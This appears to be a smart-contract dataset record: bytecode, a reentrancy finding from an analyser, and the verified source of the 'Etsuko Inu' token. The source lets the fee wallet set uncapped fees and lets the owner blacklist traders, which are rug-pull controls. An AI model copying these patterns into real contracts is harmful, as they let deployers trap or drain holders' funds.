01600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069781611ca4565b91505061063a565b5050565b60006106b0338484610b96565b5060015b92915050565b60006106c7848484610cba565b610719843361071485604051806060016040528060288152602001611dbe602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f6565b610b96565b5060019392505050565b6000546001600160a01b0316331461074d5760405162461bcd60e51b815260040161062e90611c43565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107985760405162461bcd60e51b815260040161062e90611c43565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107eb57506013546001600160a01b0316336001600160a01b0316145b6107f457600080fd5b476107fe81611230565b50565b6001600160a01b0381166000908152600260205260408120546106b49061126a565b6000546001600160a01b0316331461084d5760405162461bcd60e51b815260040161062e90611c43565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108c15760405162461bcd60e51b815260040161062e90611c43565b601655565b6000546001600160a01b031633146108f05760405162461bcd60e51b815260040161062e90611c43565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109385760405162461bcd60e51b815260040161062e90611c43565b601855565b6000546001600160a01b031633146109675760405162461bcd60e51b815260040161062e90611c43565b600893909355600a91909155600955600b55565b60006106b0338484610cba565b6012546001600160a01b0316336001600160a01b031614806109bd57506013546001600160a01b0316336001600160a01b0316145b6109c657600080fd5b60006109d130610801565b90506107fe816112ee565b6000546001600160a01b03163314610a065760405162461bcd60e51b815260040161062e90611c43565b60005b82811015610a77578160056000868685818110610a2857610a28611c78565b9050602002016020810190610a3d9190611af3565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6f81611ca4565b915050610a09565b50505050565b6000546001600160a01b03163314610aa75760405162461bcd60e51b815260040161062e90611c43565b601755565b6000546001600160a01b03163314610ad65760405162461bcd60e51b815260040161062e90611c43565b6001600160a01b038116610b3b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062e565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062e565b6001600160a01b038216610c595760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062e565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d1e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062e565b6001600160a01b038216610d805760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062e565b60008111610de25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062e565b6000546001600160a01b03848116911614801590610e0e57506000546001600160a01b03838116911614155b156110ef57601554600160a01b900460ff16610ea7576000546001600160a01b03848116911614610ea75760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161062e565b601654811115610ef95760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062e565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3b57506001600160a01b03821660009081526010602052604090205460ff16155b610f935760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062e565b6015546001600160a01b038381169116146110185760175481610fb584610801565b610fbf9190611cbf565b106110185760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062e565b600061102330610801565b60185460165491925082101590821061103c5760165491505b8080156110535750601554600160a81b900460ff16155b801561106d57506015546001600160a01b03868116911614155b80156110825750601554600160b01b900460ff165b80156110a757506001600160a01b03851660009081526005602052604090205460ff16155b80156110cc57506001600160a01b03841660009081526005602052604090205460ff16155b156110ec576110da826112ee565b4780156110ea576110ea47611230565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061113157506001600160a01b03831660009081526005602052604090205460ff165b8061116357506015546001600160a01b0385811691161480159061116357506015546001600160a01b03848116911614155b15611170575060006111ea565b6015546001600160a01b03858116911614801561119b57506014546001600160a01b03848116911614155b156111ad57600854600c55600954600d555b6015546001600160a01b0384811691161480156111d857506014546001600160a01b03858116911614155b156111ea57600a54600c55600b54600d555b610a7784848484611477565b6000818484111561121a5760405162461bcd60e51b815260040161062e9190611a31565b5060006112278486611cd7565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069f573d6000803e3d6000fd5b60006006548211156112d15760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062e565b60006112db6114a5565b90506112e783826114c8565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133657611336611c78565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138a57600080fd5b505afa15801561139e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c29190611cee565b816001815181106113d5576113d5611c78565b6001600160a01b0392831660209182029290920101526014546113fb9130911684610b96565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611434908590600090869030904290600401611d0b565b600060405180830381600087803b15801561144e57600080fd5b505af1158015611462573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114845761148461150a565b61148f848484611538565b80610a7757610a77600e54600c55600f54600d55565b60008060006114b261162f565b90925090506114c182826114c8565b9250505090565b60006112e783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611673565b600c5415801561151a5750600d54155b1561152157565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154a876116a1565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157c90876116fe565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115ab9086611740565b6001600160a01b0389166000908152600260205260409020556115cd8161179f565b6115d784836117e9565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161c91815260200190565b60405180910390a3505050505050505050565b600654600090819069bc3ac3627d44cbe8300061164c82826114c8565b82101561166a5750506006549269bc3ac3627d44cbe8300092509050565b90939092509050565b600081836116945760405162461bcd60e51b815260040161062e9190611a31565b5060006112278486611d7c565b60008060008060008060008060006116be8a600c54600d5461180d565b92509250925060006116ce6114a5565b905060008060006116e18e878787611862565b919e509c509a509598509396509194505050505091939550919395565b60006112e783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f6565b60008061174d8385611cbf565b9050838110156112e75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062e565b60006117a96114a5565b905060006117b783836118b2565b306000908152600260205260409020549091506117d49082611740565b30600090815260026020526040902055505050565b6006546117f690836116fe565b6006556007546118069082611740565b6007555050565b6000808080611827606461182189896118b2565b906114c8565b9050600061183a60646118218a896118b2565b905060006118528261184c8b866116fe565b906116fe565b9992985090965090945050505050565b600080808061187188866118b2565b9050600061187f88876118b2565b9050600061188d88886118b2565b9050600061189f8261184c86866116fe565b939b939a50919850919650505050505050565b6000826118c1575060006106b4565b60006118cd8385611d9e565b9050826118da8583611d7c565b146112e75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062e565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fe57600080fd5b803561196781611947565b919050565b6000602080838503121561197f57600080fd5b823567ffffffffffffffff8082111561199757600080fd5b818501915085601f8301126119ab57600080fd5b8135818111156119bd576119bd611931565b8060051b604051601f19603f830116810181811085821117156119e2576119e2611931565b604052918252848201925083810185019188831115611a0057600080fd5b938501935b82851015611a2557611a168561195c565b84529385019392850192611a05565b98975050505050505050565b600060208083528351808285015260005b81811015611a5e57858101830151858201604001528201611a42565b81811115611a70576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9957600080fd5b8235611aa481611947565b946020939093013593505050565b600080600060608486031215611ac757600080fd5b8335611ad281611947565b92506020840135611ae281611947565b929592945050506040919091013590565b600060208284031215611b0557600080fd5b81356112e781611947565b8035801515811461196757600080fd5b600060208284031215611b3257600080fd5b6112e782611b10565b600060208284031215611b4d57600080fd5b5035919050565b60008060008060808587031215611b6a57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9b57600080fd5b833567ffffffffffffffff80821115611bb357600080fd5b818601915086601f830112611bc757600080fd5b813581811115611bd657600080fd5b8760208260051b8501011115611beb57600080fd5b602092830195509350611c019186019050611b10565b90509250925092565b60008060408385031215611c1d57600080fd5b8235611c2881611947565b91506020830135611c3881611947565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cb857611cb8611c8e565b5060010190565b60008219821115611cd257611cd2611c8e565b500190565b600082821015611ce957611ce9611c8e565b500390565b600060208284031215611d0057600080fd5b81516112e781611947565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d5b5784516001600160a01b031683529383019391830191600101611d36565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9957634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611db857611db8611c8e565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204fcbafc8b9121b5e40f065f5de95a533fe431795ed090e46803217c5138f249564736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
6,731
0x4D8C5e7bC33B1d0D96bc4b23c622376D2D4FdD55
/** *Submitted for verification at Etherscan.io on 2021-11-02 */ /** * **/ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Etsuko is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1 = 5; uint256 private _feeAddr2 = 5; address payable private _feeAddrWallet1 = payable(0xC5718A8dE41FC00878636bCaa9Dbb159373a059d); address payable private _feeAddrWallet2 = payable(0xC5718A8dE41FC00878636bCaa9Dbb159373a059d); string private constant _name = "Etsuko Inu"; string private constant _symbol = "ETSUKO"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[_feeAddrWallet2] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setFeeAmountOne(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr1 = fee; } function setFeeAmountTwo(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr2 = fee; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _isBuy(address _sender) private view returns (bool) { return _sender == uniswapV2Pair; } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a14610398578063c3c8cd80146103c1578063c9567bf9146103d8578063cfe81ba0146103ef578063dd62ed3e146104185761011f565b8063715018a6146102c5578063842b7c08146102dc5780638da5cb5b1461030557806395d89b4114610330578063a9059cbb1461035b5761011f565b8063273123b7116100e7578063273123b7146101f4578063313ce5671461021d5780635932ead1146102485780636fc3eaec1461027157806370a08231146102885761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610455565b6040516101469190612bb9565b60405180910390f35b34801561015b57600080fd5b50610176600480360381019061017191906126ff565b610492565b6040516101839190612b9e565b60405180910390f35b34801561019857600080fd5b506101a16104b0565b6040516101ae9190612d3b565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d991906126b0565b6104c4565b6040516101eb9190612b9e565b60405180910390f35b34801561020057600080fd5b5061021b60048036038101906102169190612622565b61059d565b005b34801561022957600080fd5b5061023261068d565b60405161023f9190612db0565b60405180910390f35b34801561025457600080fd5b5061026f600480360381019061026a919061277c565b610696565b005b34801561027d57600080fd5b50610286610748565b005b34801561029457600080fd5b506102af60048036038101906102aa9190612622565b6107ba565b6040516102bc9190612d3b565b60405180910390f35b3480156102d157600080fd5b506102da61080b565b005b3480156102e857600080fd5b5061030360048036038101906102fe91906127ce565b61095e565b005b34801561031157600080fd5b5061031a6109ff565b6040516103279190612ad0565b60405180910390f35b34801561033c57600080fd5b50610345610a28565b6040516103529190612bb9565b60405180910390f35b34801561036757600080fd5b50610382600480360381019061037d91906126ff565b610a65565b60405161038f9190612b9e565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba919061273b565b610a83565b005b3480156103cd57600080fd5b506103d6610bd3565b005b3480156103e457600080fd5b506103ed610c4d565b005b3480156103fb57600080fd5b50610416600480360381019061041191906127ce565b6111af565b005b34801561042457600080fd5b5061043f600480360381019061043a9190612674565b611250565b60405161044c9190612d3b565b60405180910390f35b60606040518060400160405280600a81526020017f457473756b6f20496e7500000000000000000000000000000000000000000000815250905090565b60006104a661049f6112d7565b84846112df565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b60006104d18484846114aa565b610592846104dd6112d7565b61058d8560405180606001604052806028815260200161344b60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105436112d7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119889092919063ffffffff16565b6112df565b600190509392505050565b6105a56112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610632576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062990612c9b565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61069e6112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461072b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072290612c9b565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107896112d7565b73ffffffffffffffffffffffffffffffffffffffff16146107a957600080fd5b60004790506107b7816119ec565b50565b6000610804600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae7565b9050919050565b6108136112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089790612c9b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661099f6112d7565b73ffffffffffffffffffffffffffffffffffffffff16146109f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ec90612bfb565b60405180910390fd5b80600a8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f455453554b4f0000000000000000000000000000000000000000000000000000815250905090565b6000610a79610a726112d7565b84846114aa565b6001905092915050565b610a8b6112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0f90612c9b565b60405180910390fd5b60005b8151811015610bcf57600160066000848481518110610b63577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610bc790613051565b915050610b1b565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c146112d7565b73ffffffffffffffffffffffffffffffffffffffff1614610c3457600080fd5b6000610c3f306107ba565b9050610c4a81611b55565b50565b610c556112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ce2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd990612c9b565b60405180910390fd5b600f60149054906101000a900460ff1615610d32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2990612d1b565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610dc530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112df565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610e0b57600080fd5b505afa158015610e1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e43919061264b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ea557600080fd5b505afa158015610eb9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610edd919061264b565b6040518363ffffffff1660e01b8152600401610efa929190612aeb565b602060405180830381600087803b158015610f1457600080fd5b505af1158015610f28573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f4c919061264b565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610fd5306107ba565b600080610fe06109ff565b426040518863ffffffff1660e01b815260040161100296959493929190612b3d565b6060604051808303818588803b15801561101b57600080fd5b505af115801561102f573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061105491906127f7565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506a295be96e640669720000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611159929190612b14565b602060405180830381600087803b15801561117357600080fd5b505af1158015611187573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ab91906127a5565b5050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111f06112d7565b73ffffffffffffffffffffffffffffffffffffffff1614611246576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123d90612bfb565b60405180910390fd5b80600b8190555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561134f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134690612cfb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b690612c3b565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152